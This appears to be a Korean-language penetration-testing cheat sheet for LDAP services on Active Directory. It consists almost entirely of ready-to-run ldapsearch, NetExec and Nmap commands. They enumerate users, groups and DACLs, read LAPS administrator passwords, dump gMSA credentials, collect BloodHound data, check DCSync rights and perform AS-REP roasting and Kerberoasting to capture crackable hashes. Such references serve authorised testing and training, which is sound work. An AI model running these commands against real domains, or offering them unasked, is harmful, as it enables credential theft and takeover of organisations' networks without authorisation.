LDAP - 389/636
기본 정보
포트: 389 (LDAP), 636 (LDAPS), 3268 (Global Catalog)
LDAP(Lightweight Directory Access Protocol)는 디렉토리 서비스 접근을 위한 프로토콜입니다.
ldapsearch
# Naming Contexts 확인
ldapsearch -x -h <RHOST> -s base namingcontexts
# 기본 정보 조회
ldapsearch -H ldap://<RHOST> -x -s base -b '' "(objectClass=*)" "*" +
# LDAPS (보안 LDAP)
ldapsearch -H ldaps://<RHOST>:636/ -x -s base -b '' "(objectClass=*)" "*" +
# 도메인 조회
ldapsearch -x -H ldap://<RHOST> -D '' -w '' -b "DC=<DOMAIN>,DC=local"
# Description 필드 검색
ldapsearch -x -H ldap://<RHOST> -D '' -w '' -b "DC=<DOMAIN>,DC=local" | grep descr -A 3 -B 3
# DN 목록만 추출
ldapsearch -x -h <RHOST> -b "dc=<DOMAIN>,dc=local" "*" | awk '/dn: / {print $2}'
# LAPS 비밀번호 조회
ldapsearch -x -h <RHOST> -D "<USERNAME>" -b "DC=<DOMAIN>,DC=<DOMAIN>" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
# Info 필드 검색
ldapsearch -H ldap://<RHOST> -D <USERNAME> -w "<PASSWORD>" -b "CN=Users,DC=<DOMAIN>,DC=local" | grep info
NetExec LDAP
도메인 열거
# 사용자 열거
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --users
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --users-export <FILE>
# 활성 사용자만
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --active-users
# 그룹 열거
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --groups
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --groups "<GROUP>"
# Admin Count 확인
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --admin-count
# 특정 쿼리
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --query "(adminCount=1)" "sAMAccountName"
# 모듈
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M get-desc-users
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M adcs
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M maq
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M ldap-checker
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M whoami
# BloodHound 데이터 수집
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --bloodhound -ns <RHOST> -c All
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --bloodhound --dns-tcp --dns-server <RHOST> -c All
Domain SID 찾기
netexec ldap <RHOST> -u '<USERNAME>' -k --get-sid
LDAP 쿼리
# Administrator 계정 조회
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --query "(sAMAccountName=Administrator)" ""
# 특정 속성 조회
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --query "(sAMAccountName=Administrator)" "sAMAccountName objectClass pwdLastSet"
DACL 열거
# 기본 읽기
netexec ldap -k --kdcHost <RHOST> -M daclread -o TARGET=Administrator ACTION=read
# 특정 Principal
netexec ldap -k --kdcHost <RHOST> -M daclread -o TARGET=Administrator ACTION=read PRINCIPAL=<USERNAME>
# DCSync 권한 확인
netexec ldap -k --kdcHost <RHOST> -M daclread -M daclread -o TARGET_DN="DC=<DOMAIN>,DC=<DOMAIN>" ACTION=read RIGHTS=DCSync
# Denied ACE 확인
netexec ldap -k --kdcHost <RHOST> -M daclread -M daclread -o TARGET=Administrator ACTION=read ACE_TYPE=denied
# 백업
netexec ldap -k --kdcHost <RHOST> -M daclread -M daclread -o TARGET=../../<FILE> ACTION=backup
자격증명 덤프
# GMSA
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --gmsa
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --gmsa -k
# GMSA ID 변환
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --gmsa-convert-id <ID>
# GMSA LSA 복호화
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --gmsa-decrypt-lsa <ACCOUNT>
ASREPRoast
# 기본
netexec ldap <RHOST> -u '<USERNAME>' -p '' --asreproast hashes.asreproast
# 자격증명 사용
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --asreproast hashes.asreproast
# KDC 지정
netexec ldap <RHOST> -u '<USERNAME>' -p '' --asreproast hashes.asreproast --kdcHost <DOMAIN>
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --asreproast hashes.asreproast --kdcHost <DOMAIN>
Kerberoasting
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --kerberoasting hashes.kerberoasting
Delegation
# 위임 찾기
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --find-delegation
# Unconstrained Delegation
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --trusted-for-delegation
AD CS
# ADCS 열거
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M adcs
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M adcs -o SERVER=<RHOST>
Nmap
# LDAP 버전 확인
sudo nmap -p389,636 -sV <RHOST>
# LDAP 정보 수집
sudo nmap -p389 --script ldap-rootdse <RHOST>
# LDAP 검색
sudo nmap -p389 --script ldap-search <RHOST>
참고
- 익명 바인딩 확인
- Null 자격증명 시도
- ASREPRoast, Kerberoasting 공격
- LAPS 비밀번호 확인
- BloodHound 데이터 수집
- ADCS 취약점 확인